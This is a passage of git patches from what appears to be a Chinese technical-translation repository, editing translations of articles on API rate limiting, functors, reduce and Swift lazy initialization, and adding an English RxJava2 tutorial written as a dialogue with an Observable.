-- **Hook the rate limiters into your middleware stack safely.** Make sure that if there were bugs in the rate limiting code (or if Redis were to go down), requests wouldn’t be affected. This means catching exceptions at all levels so that any coding or operational errors would fail open and the API would still stay functional.
-- **Show clear exceptions to your users.** Figure out what kinds of exceptions to show your users. In practice, you should decide if you want [HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) or [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable) and what is the most accurate depending on the situation. The message you return should also be actionable.
-- **Build in safeguards so that you can turn off the limiters.** Make sure you have kill switches to disable the rate limiters should they kick in erroneously. Having feature flags in place can really help should you need a human escape valve. Set up alerts and metrics to understand how often they are triggering.
-- **Dark launch each rate limiter to watch the traffic they would block.** Evaluate if it is the correct decision to block that traffic and tune accordingly. You want to find the right thresholds that would keep your API up without affecting any of your users’ existing request patterns. This might involve working with some of them to change their code so that the new rate limit would work for them.
+- **安全地连接你的中间件堆栈和速率限制器。**确保如果速率限制代码有 bug（或者如果 Redis 挂了），请求处理不会受到影响。这意味着要捕捉（来自速率限制的）所有级别的异常，这样任何代码或操作失误都会失败后继续运行，并且 API 还可以正常工作。
+- **向用户明确显示异常。**确定要现实给用户的异常类型。在实际操作中，你应该决定你想用[HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) 还是 [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable)，哪个是最准确的取决于根据情况的不同。你返回的信息也应该是可操作的。
+- **内置保障措施，使你能够关闭限制器。**确保你的关闭按钮能够在速率限制器犯错的时候禁用它们。使用人工安全阀的同时，特性标记（feature flags）也是非常有帮助的。设置警报和指标以便了解它们被触发的频率。
+- **对速率限制使用灰度上线，以观察它们会阻挡哪些流量。**评估阻止那些流量是否是正确的决定，并做出相应的调整。你希望找到一个合适的阈值，它可以既保证你的 API 一直是可利用的，同时不会影响你的用户既有的请求模式。这可能涉及与部分用户一起修改他们的代码，以保证新的速率限制对他们来说是可行的。
 
 
-## Conclusion
+## 结论
 
-Rate limiting is one of the most powerful ways to prepare your API for scale. The different rate limiting strategies described in this post are not all necessary on day one, you can gradually introduce them once you realize the need for rate limiting.
+速率限制是为你的 API 扩大使用规模做好准备最有效的方法之一。这篇文章中描述的不同的速率限制策略并不需要在上线的第一天就全部实现，你可以逐渐引入它们，当你发现有速率限制的需要的时候。
 
-Our recommendation is to follow the following steps to introduce rate limiting to your infrastructure:
+我们建议根据以下步骤将速率限制引入你的基础设施：
 
-1. Start by building a Request Rate Limiter. It is the most important one to prevent abuse, and it’s by far the one that we use the most frequently.
-2. Introduce the next three types of rate limiters over time to prevent different classes of problems. They can be built slowly as you scale.
-3. Follow good launch practices as you're adding new rate limiters to your infrastructure. Handle any errors safely, put them behind feature flags to turn them off easily at any time, and rely on very good observability and metrics to see how often they’re triggering.
+1. 从实现一个请求速率限制器开始。这是最重要的，也是目前为止最常用的一种防止滥用的方法。
+2. 逐步引入后续三种速率限制以预防不同类别的问题发生。可以在缓慢扩大规模的过程中逐渐实现它们。
+3. 将新的速率限制引入你的基础设施时，应当遵循良好的上线实践。安全地处理错误，使用特性标记（feature flags）以便在任何时候可以将它们关闭，依靠良好的可观测性和指标以便观察它们被触发的频率。
 
-To help you get started, we’ve created a [GitHub gist](https://gist.github.com/ptarjan/e38f45f2dfe601419ca3af937fff574d) to share implementation details based on the code we actually use in production at Stripe.
+为了帮助你更好地开始使用速率限制，我们创建了一个[GitHub gist](https://gist.github.com/ptarjan/e38f45f2dfe601419ca3af937fff574d)，用来分享基于我们在 Stripe 生产环境使用的代码的一些实现细节。
 
-  Like this post? Join the Stripe engineering team. [View Openings](/jobs?ref=blog#engineering)    
 
 
 ---

From fdc97e680a387ad56901db5c1995e0601d785577 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Sun, 16 Apr 2017 18:32:55 -0700
Subject: [PATCH 182/638] tweak styling

---
 TODO/rate-limiters.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/rate-limiters.md b/TODO/rate-limiters.md
index fc89eb14fe5..373704a132e 100644
--- a/TODO/rate-limiters.md
+++ b/TODO/rate-limiters.md
@@ -112,10 +112,10 @@ Worker 使用率减载为关键请求预留出一部分 worker。
 
 这里有一些实现速率限制时需要考虑的重要事项：
 
-- **安全地连接你的中间件堆栈和速率限制器。**确保如果速率限制代码有 bug（或者如果 Redis 挂了），请求处理不会受到影响。这意味着要捕捉（来自速率限制的）所有级别的异常，这样任何代码或操作失误都会失败后继续运行，并且 API 还可以正常工作。
-- **向用户明确显示异常。**确定要现实给用户的异常类型。在实际操作中，你应该决定你想用[HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) 还是 [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable)，哪个是最准确的取决于根据情况的不同。你返回的信息也应该是可操作的。
-- **内置保障措施，使你能够关闭限制器。**确保你的关闭按钮能够在速率限制器犯错的时候禁用它们。使用人工安全阀的同时，特性标记（feature flags）也是非常有帮助的。设置警报和指标以便了解它们被触发的频率。
-- **对速率限制使用灰度上线，以观察它们会阻挡哪些流量。**评估阻止那些流量是否是正确的决定，并做出相应的调整。你希望找到一个合适的阈值，它可以既保证你的 API 一直是可利用的，同时不会影响你的用户既有的请求模式。这可能涉及与部分用户一起修改他们的代码，以保证新的速率限制对他们来说是可行的。
+- **安全地连接你的中间件堆栈和速率限制器。** 确保如果速率限制代码有 bug（或者如果 Redis 挂了），请求处理不会受到影响。这意味着要捕捉（来自速率限制的）所有级别的异常，这样任何代码或操作失误都会失败后继续运行，并且 API 还可以正常工作。
+- **向用户明确显示异常。** 确定要现实给用户的异常类型。在实际操作中，你应该决定你想用[HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) 还是 [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable)，哪个是最准确的取决于不同的情况。你返回的信息也应该是可操作的。
+- **内置保障措施，使你能够关闭限制器。** 确保你的关闭按钮能够在速率限制器犯错的时候禁用它们。使用人工安全阀的同时，特性标记（feature flags）也是非常有帮助的。设置警报和指标以便了解它们被触发的频率。
+- **对速率限制使用灰度上线，以观察它们会阻挡哪些流量。** 评估阻止那些流量是否是正确的决定，并做出相应的调整。你希望找到一个合适的阈值，它可以既保证你的 API 一直是可利用的，同时不会影响你的用户既有的请求模式。这可能涉及与部分用户一起修改他们的代码，以保证新的速率限制对他们来说是可行的。
 
 
 ## 结论

From b4e4b69adcfd6f42879c817c34aa749cc0b424c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Mon, 17 Apr 2017 11:33:07 +0800
Subject: [PATCH 183/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=84=8F=E8=A7=81?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/functors-categories.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/functors-categories.md b/TODO/functors-categories.md
index 085c93eaabc..415e65251b8 100644
--- a/TODO/functors-categories.md
+++ b/TODO/functors-categories.md
@@ -1,7 +1,7 @@
 > * 原文地址：[Functors & Categories](https://medium.com/javascript-scene/functors-categories-61e031bac53f)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
+> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)
 > * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # Functor 与 Category （软件编写）（第六部分）#
@@ -11,13 +11,13 @@
 Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
 > 注意：这是 “软件编写” 系列文章的第六部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
-> [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
+> [<上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md) | [<< 返回第一章](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)
 
 所谓 **functor（函子）**，是能够对其进行 map 操作的对象。换言之，**functor** 可以被认为是一个容器，该容器容纳了一个值，并且暴露了一个接口（译注：即 map 接口），该接口使得外界的函数能够获取容器中的值。所以当你见到 **functor**，别被其来自范畴学的名字唬住，简单把他当做个 *“mappable”* 对象就行。
 
 **“functor”** 一词源于范畴学。在范畴学中，一个 functor 代表了两个范畴（category）间的映射。简单说来，一个 **范畴** 是一系列事物的分组，这里的 “事物” 可以指代一切的值。对于编码来说，一个 functor 通常代表了一个具有 `.map()` 方法的对象，该方法能够将某一集合映射到另一集合。
 
-上文说到，一个 functor 可以被看做是一个容器，比如我们将其看做是一个盒子，盒子里面容纳了一些事物，或者空空如也，最重要的是，盒子暴露了一个 mapping（映射）接口。在 JavaScript 中，数组对象就是 functor 的绝佳例子（译注：`[1,2,3].map(x => x + 1)`），但是，其他类型的对象，只要能够被 map 操作，也可以算作是 functor，这些对象包括了单值对象（single valued-objects），流（streams），树（trees），对象（objects）等等。
+上文说到，一个 functor 可以被看做是一个容器，比如我们将其看做是一个盒子，盒子里面容纳了一些事物，或者空空如也，最重要的是，盒子暴露了一个 mapping（映射）接口。在 JavaScript 中，数组对象就是 functor 的绝佳例子（译注：`[1,2,3].map(x => x + 1)`），但是，其他类型的对象，只要能够被 map 操作，也可以算作是 functor，这些对象包括了单值对象（single valued-objects）、流（streams）、树（trees）、对象（objects）等等。
 
 对于如数组和流等其他这样的集合（collections）来说，`.map()` 方法指的是，在集合上进行迭代操作，在此过程中，应用一个预先指定的函数对每次迭代到的值进行处理。但是，不是所有的 functor 都可以被迭代。
 

From 924d410f03b670006e5b755cbae7dc36662c2ab6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Mon, 17 Apr 2017 11:42:37 +0800
Subject: [PATCH 184/638] fixed

---
 TODO/reduce-composing-software.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/reduce-composing-software.md b/TODO/reduce-composing-software.md
index e5397387cc4..cca0df6dc06 100644
--- a/TODO/reduce-composing-software.md
+++ b/TODO/reduce-composing-software.md
@@ -1,17 +1,17 @@
 > * 原文地址：[Reduce (Composing Software)(part 5)](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
+> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)
 > * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)
 
-# Reduce (软件编写) (第五部分) #
+# Reduce（软件编写）（第五部分） #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
 Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
 > 注意：这是 “软件编写” 系列文章的第五部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
-> > [<上一篇](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.su6cmn4f7) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
+> > [<上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)
 
 在函数式编程中，**reduce**（也称为：fold，accumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的功能都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合（collection）最优雅的方式。
 
@@ -193,7 +193,7 @@ actions.reduce(summingReducer, 0); // 3
 
 现在，你应该可以瞥见 reduce 的强大甚至是无所不能了。虽然，理解 reduce 要比理解 map 或者 filter 难一些，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。
 
-[**下一篇: Functors（函子） & Categories（范畴） >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
+[**下一篇: Functors 与 Categories  >**](https://github.com/xitu/gold-miner/blob/master/TODO/functors-categories.md)
 
 
 ### 接下来 ###

From 2b623ab017e0b5f2a4a691373e9bf7467ab2b61e Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Mon, 17 Apr 2017 17:06:37 +0800
Subject: [PATCH 185/638] Update swift-lazy-initialization-with-closures.md

---
 .../swift-lazy-initialization-with-closures.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 41885f1449f..5c500c96a72 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Bob Lee][2]
 > * 译文出自：[掘金翻译计划][3]
 > * 译者：[lsvih][4]
-> * 校对者：
+> * 校对者：[zhangqippp](https://github.com/zhangqippp)
 
 
 # 在 Swift 中使用闭包实现懒加载
@@ -17,7 +17,7 @@
 
 ### 动机
 
-在我刚开始学习 iOS 开发的时候，我在 YouTube 上找了一个教程。我发现这个教程有时候会用下面这种方式来创建 UI 对象:
+在我刚开始学习 iOS 开发的时候，我在 YouTube 上找了一些教程。我发现这些教程有时候会用下面这种方式来创建 UI 对象:
 
 ```
 let makeBox: UIView = {
@@ -95,7 +95,7 @@ createButton(enterTitle: "Yoyo") //  👍
 func createButton(title: String, borderWidth: Double, backgrounColor, ...) -> Button 
 ```
 
-但是，上面的代码并不理想。即使你为这个函数加上了默认参数，它的可读性很差。因此，比起这个方法，我们还是采用上面那个”单调“的方法为妙。
+但是，即使你为这个函数加上了默认参数，上面的代码依然不理想。这样的设计降低了代码的可读性。因此，比起这个方法，我们还是采用上面那个”单调“的方法为妙。
 
 到底有没有办法让我们既不那么无聊，还能让代码更有条理呢？当然咯。我们现在只是复习你过去的做法——是时候更上一层楼，展望你未来的做法了。
 
@@ -139,7 +139,7 @@ let bobby = { () -> Human in
 }()
 ```
 
-现在，这个闭包通过在最后加上 `()` 执行了自己，`bobby` 现在附上了一个 `Human` 对象。干的漂亮！
+现在，这个闭包通过在最后加上 `()` 执行了自己，`bobby` 现在被赋值为一个 `Human` 对象。干的漂亮！
 
 **现在你已经学会了使用闭包来创建一个对象**
 
@@ -168,11 +168,11 @@ Swift 能够通过关键字 `return` 推导出这个闭包的类型是 `() -> UI
 
 ### 使用闭包创建的好处
 
-我们已经讨论了：直接创建对象是很单调无聊的，使用函数构造是会出现问题的。现在你可能会想“为什么我非得用闭包来创建？”
+我们已经讨论了直接创建对象的单调和使用构造函数带来的问题。现在你可能会想“为什么我非得用闭包来创建？”
 
 #### 重复起来更容易
 
-我不喜欢用 Storyboard，我比较喜欢复制粘贴 UI 对象。实际上，在我电脑里有一个“库”的代码。假设库里有个按钮，代码如下：
+我不喜欢用 Storyboard，我比较喜欢复制粘贴 UI 对象。实际上，在我的电脑里有一个“代码库”。假设库里有个按钮，代码如下：
 
 ```
 let myButton: UIButton = {
@@ -218,7 +218,7 @@ return button
 vs
 
 ```
-// 使用我的手指创建.. 
+// 手动创建
 let leftCornerButton = UIButton(frame: buttonSize)
 leftCornerButton.backgroundColor = .black
 leftCornerButton.titleLabel?.text = "Button"
@@ -234,7 +234,7 @@ rightCornerButton.layer.cornerRadius =
 rightCornerButton.layer.masksToBounds = true
 ```
 
-虽然使用闭包创建对象甚至还多出了一行，但是比起要在 `rightCornerButton` 或者 `leftCornerButton` 后面狂加属性，我还是更喜欢在 `button` 后面加属性。
+尽管使用闭包创建对象要多出几行，但是比起要在 `rightCornerButton` 或者 `leftCornerButton` 后面狂加属性，我还是更喜欢在 `button` 后面加属性。
 
 *实际上如果按钮的命名特别详细时，用闭包创建对象还可以少几行。*
 
@@ -331,7 +331,7 @@ bobGreet?.greeting
 bobClass = nil // I'm gone, bruh 🙆
 ```
 
-不用担心 `[unowned self]`，闭包并没有对对象存在引用。相反，它仅仅是在闭包内复制了 `self`。如果你对前面的代码声明有疑问，放松一会儿，读读 [Swift Capture Lists][10] 来了解更多这方面的知识。👍
+不用担心 `[unowned self]`，闭包并没有对对象存在引用。相反，它仅仅是在闭包内复制了 `self`。如果你对前面的代码声明有疑问，可以读读 [Swift Capture Lists][10] 来了解更多这方面的知识。👍
 
 ### 最后的唠叨
 

From 820707b0a3aeb21d6a4c7031409ea53c46f84c8e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 17 Apr 2017 21:13:08 +0800
Subject: [PATCH 186/638] Create
 dialogue-rx-observable-developer-android-rxjava2-hell-part5.md

---
 ...le-developer-android-rxjava2-hell-part5.md | 338 ++++++++++++++++++
 1 file changed, 338 insertions(+)
 create mode 100644 TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md

diff --git a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
new file mode 100644
index 00000000000..b555b582884
--- /dev/null
+++ b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
@@ -0,0 +1,338 @@
+> * 原文地址：[Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/)
+> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+## Dialogue between Rx Observable and a Developer (Me)  [ Android RxJava2 ] ( What the hell is this ) Part5 ##
+
+
+WOW, we got one more day so its time to make this day awesome by learning something new 🙂.
+
+Hello guys, hope you are doing good. This is our fifth post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ]. In this part we are going to work with Rx Java Android. Our prerequisites are done. So we can start now.
+
+**Motivation:**
+
+Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). This time we will see, a lot of things in action which we already learned in last four posts.
+
+**Introduction:**
+
+When I am learning Rx Java Android. One day I met with a Rx Java Observable. So I asked a lot of questions and good news is Observable is really good and down to earth which amazed me. I have a opinion this Rx Java is really bad and full of pride. He/She don’t want to make friendship with lot of developers instead that play with developers and bluff them but after I start my dialogue with him/her I am amazed my opinion is wrong.
+
+Me: Hello Observable. How are you?
+
+Observable: Hi Hafiz Waleed Hussain, I am good. Thank you.
+
+Me: Why your learning curve is really tough? Why you are not easy for developers? You don’t want to make friendship with Developers.
+
+Observable: Haha. Truly saying. I really want to make lot of friends instead I have some very good friends. Which discuss about me on different forums and they are talking about me and my powers. These guys are really good in lot of things, they are spending a lot of hours with me. So for a good friend ship you need to give your time with sincerity. But there is one issue, some developers wants  to make friendship with me but they are not sincere. They start working on me but after some minutes they open social websites and forgot me about hours. So how you can expect from me, I will be a good friend of a developer who is not sincere with me.
+
+Me: Okay If I want to make a friendship with you. What I will do?
+
+Observable: Do a proper focus on me. Give me proper time then you will see how frankly I am.
+
+Me: Hmm. Honestly I am not good in focus but I am good in ignoring. Can I use my ignoring power.
+
+Observable: Yes, if you ignore everything except me when you are working on me. I will be a your good friend.
+
+Me: Wow. I have a feeling then I can make you my friend.
+
+Observable: Yes any body can make me his best friend.
+
+Me: Now I have some questions. Can I ask?
+
+Observable: Yes you can ask thousands of questions. I will give you answer but one important thing I need your time with sincerity.
+
+Me: Sure. If I have a some data and I want to convert that into Observable. How I can achieve that in Rx Java 2 Android.
+
+Observable: This question which you asked me has a very long answer. If you go inside of me (Rx Java 2 Observable class). You will know I have total **12904** lines of code.
+
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM-1024x527.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM.png)
+
+Every method will return you Observable. Yes I have a lot of friends in my community which I use to make my self according to Developer requirement like map, filter and more but I am here going to share with you some methods which will help you to make any thing as Observable. Sorry because I have a feeling answer will be long but that will not be boring. I will not only show you methods to create Observable instead I will share with you how you refactor your current data objects to Observable with suitable method.
+
+1. just():
+
+By using this method you can convert any object(s) into Observable that emit that object(s).
+
+```
+    String data = "Hello World";
+    Observable.just(data).subscribe(s -> System.out.println(s));
+    Output:
+    Hello World
+```
+
+If you have more then one data objects you can use same API like shown below.
+
+```
+    String data = "Hello World";
+    Integer i = 4500;
+    Boolean b = true;
+    Observable.just(data,i,b).subscribe(s -> System.out.println(s));
+    Output:
+    Hello World
+    4500
+    true
+```
+Maximum you can use 10 data objects in this API.
+
+```
+    Observable.just(1,2,3,4,5,6,7,8,9,10).subscribe(s -> System.out.print(s+" "));
+    Output:
+    1 2 3 4 5 6 7 8 9 10
+
+```
+
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM-1024x180.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM.png)
+
+Example in code: ( Not good one but may be you will get some direction, how to use in your code)
+
+```
+    public static void main(String[] args) {
+        String username = "username";
+        String password = "password";
+        System.out.println(validate(username, password));
+    }
+    
+    private static boolean validate(String username, String password) {
+    boolean isUsernameValid = username!=null && !username.isEmpty() && username.length() > 3;
+    boolean isPassword = password!=null && !password.isEmpty() && password.length() > 3;
+    return isUsernameValid && isPassword;
+}
+
+```    
+ 
+
+Using Observable:
+
+```
+private static boolean isValid = true;
+private static boolean validate(String username, String password) {
+    Observable.just(username, password).subscribe(s -> {
+        if (!(s != null && !s.isEmpty() && s.length() > 3)) 
+           throw new RuntimeException();
+    }, throwable -> isValid = false);
+    return isValid;
+}
+```  
+
+
+2. from… :
+
+I have a lot more API to convert your complex data structure into Observable which starting keyword is from as shown below.
+
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM-1024x187.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM.png)
+
+I think API name are really meaning full so no need for more explanation. Yes I will give some examples so you are comfortable when you are using in code.
+
+```
+public static void main(String[] args) {
+
+    List<Tasks> tasks = Arrays.asList(new Tasks(1,"description"),
+            new Tasks(2,"description"),new Tasks(4,"description"),
+            new Tasks(3,"description"),new Tasks(5,"description"));
+    Observable.fromIterable(tasks)
+            .forEach(task -> System.out.println(task.toString()));
+}
+
+private static class Tasks {
+    int id;String description;
+    public Tasks(int id, String description) {this.id = id;this.description = description;}
+    @Override
+    public String toString() {return "Tasks{" + "id=" + id + ", description='" + description + '\'' + '}';}
+}
+}
+```
+
+    
+From array:
+
+```
+    public static void main(String[] args) {
+        Integer[] values = {1,2,3,4,5};
+        Observable.fromArray(values)
+                .subscribe(v-> System.out.print(v+" "));
+    }
+
+```
+
+Here two examples are enough. You can try others on your own.
+
+3. create():
+
+You can define any thing you want as an Observable. This API will give you a lot of power but in my opinion before going to use this API try to search some other solution because I have a feeling 99% times you can get solution from my other API’s. If you are not able to get any solution of something then you can use.
+
+```
+    public static void main(String[] args) {
+        final int a = 3, b = 5, c = 9;
+        Observable me = Observable.create(new ObservableOnSubscribe<Integer>() {
+            @Override
+            public void subscribe(ObservableEmitter<Integer> observableEmitter) throws Exception {
+                observableEmitter.onNext(a);
+                observableEmitter.onNext(b);
+                observableEmitter.onNext(c);
+                observableEmitter.onComplete();
+            }
+        });
+        me.subscribe(i-> System.out.println(i));
+    }
+
+```
+4. range():
+
+That is just like a for loop as shown below in code.
+
+```
+    public static void main(String[] args) {
+        Observable.range(1,10)
+                .subscribe(i-> System.out.print(i+" "));
+    }
+    Output:
+    1 2 3 4 5 6 7 8 9 10
+```
+
+One more real example:
+
+```
+public static void main(String[] args) {
+
+    List<String> names = Arrays.asList("Hafiz", "Waleed", "Hussain", "Steve");
+    for (int i = 0; i < names.size(); i++) {
+        if(i%2 == 0)continue;
+        System.out.println(names.get(i));
+    }
+
+    Observable.range(0, names.size())
+            .filter(index->index%2==1)
+            .subscribe(index -> System.out.println(names.get(index)));
+}
+```
+    
+
+5. interval():
+
+This one is awesome. I am showing you one example in which you can compare two approaches. For first one I used a Java thread and for a second one I used my own interval() API and both have same result.
+
+```
+public static void main(String[] args) {
+    new Thread(() -> {
+        try {
+            sleep(1000);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        greeting();
+    }).start();
+
+    Observable.interval(0,1000, TimeUnit.MILLISECONDS)
+            .subscribe(aLong -> greeting());
+}
+
+public static void greeting(){
+    System.out.println("Hello");
+}
+```
+    
+6. timer():
+
+One more good API. In program if I want some thing will called after one second I can use timer Observable as shown below.
+
+```
+public static void main(String[] args) throws InterruptedException {
+    Observable.timer(1, TimeUnit.SECONDS)
+            .subscribe(aLong -> greeting());
+    Thread.sleep(2000);
+}
+
+public static void greeting(){
+    System.out.println("Hello");
+}
+```
+    
+
+7. empty():
+
+This is useful specially in mocking. This create Observable that emit nothing and complete. I am showing you one example in which if tests are running then send me mock data else the real one.
+
+```
+public static void main(String[] args) throws InterruptedException {
+    hey(false).subscribe(o -> System.out.println(o));
+}
+
+private static Observable hey(boolean isMock) {
+    return isMock ? Observable.empty() : Observable.just(1, 2, 3, 4);
+}
+```
+
+7. defer():
+
+This is very use full in many cases. I am going to explain this one by using one example as shown below.
+
+```
+public static void main(String[] args) throws InterruptedException {
+    Employee employee = new Employee();
+    employee.name = "Hafiz";
+    employee.age = 27;
+    Observable observable = employee.getObservable();
+    employee.age = 28;
+    observable.subscribe(s-> System.out.println(s));
+}
+
+private static class Employee{
+    String name;
+    int age;
+    Observable getObservable(){
+        return Observable.just(name, age);
+    }
+}
+
+```
+    
+
+What will be the output of the above code. If your answer is age should be 28 then you are wrong. Basically all creation methods of Observable will take the value which is available at the time of creation. Like if I do output I will get 27 because I create an Observable at that time when I have age 27 and later I change to 28 but observable already created. So what will be the solution? Yes you can use defer API. That is really helpful. When you use defer basically what happen Observable only created when you will subscribe so its mean by using this I will get my expected result.
+
+```
+Observable getObservable(){
+  //return Observable.just(name, age);
+  return Observable.defer(()-> Observable.just(name, age));
+}
+```
+
+Now this time my age on output is 28.
+
+8. error():
+
+Again useful to generate error signal. I will share with you when we will discuss about the Observer and there methods.
+
+9. never():
+
+This API emit nothing.
+
+Me: Wow. Thank you Observable. For a long and robust answer. I will use that as a cheat sheet for me. Observable can you convert any function as a Observable.
+
+Observable: Yes. Check below code.
+
+ ```
+ public static void main(String[] args) throws InterruptedException {
+    System.out.println(scale(10,4));
+    Observable.just(scale(10,4))
+            .subscribe(value-> System.out.println(value));
+}
+
+private static float scale(int width, int height){
+    return width/height*.3f;
+}
+ ```
+ 
+Me: Wow you are really powerful. Currently I want to ask you about operators like map, filter and more. But if you want to share with me about Observable creation. Which I am not able to ask you due to lack of knowledge please share with me.
+
+Observable: There is a lot. But I think I can explain here about two types of Observables. One is called Cold Observable and the second one is called Hot Observable. In Cold …
+
+Conclusion:
+
+Hello Friends. This dialogue is very very long but I need to stop some where. Otherwise this post will be like a giant book which may be ok but the main purpose will be die and that is, I want we should learn and know everything practically. So I am going to pause my dialogue here I will do resume in next part. Only try your best to play with all these methods and if possible try to take your real world projects and refactor these for practice. In the end I want to say thanks to Rx Observable who give me a lot of his/her time.
+
+Happy Weekend Friends Bye. 🙂
+---
+
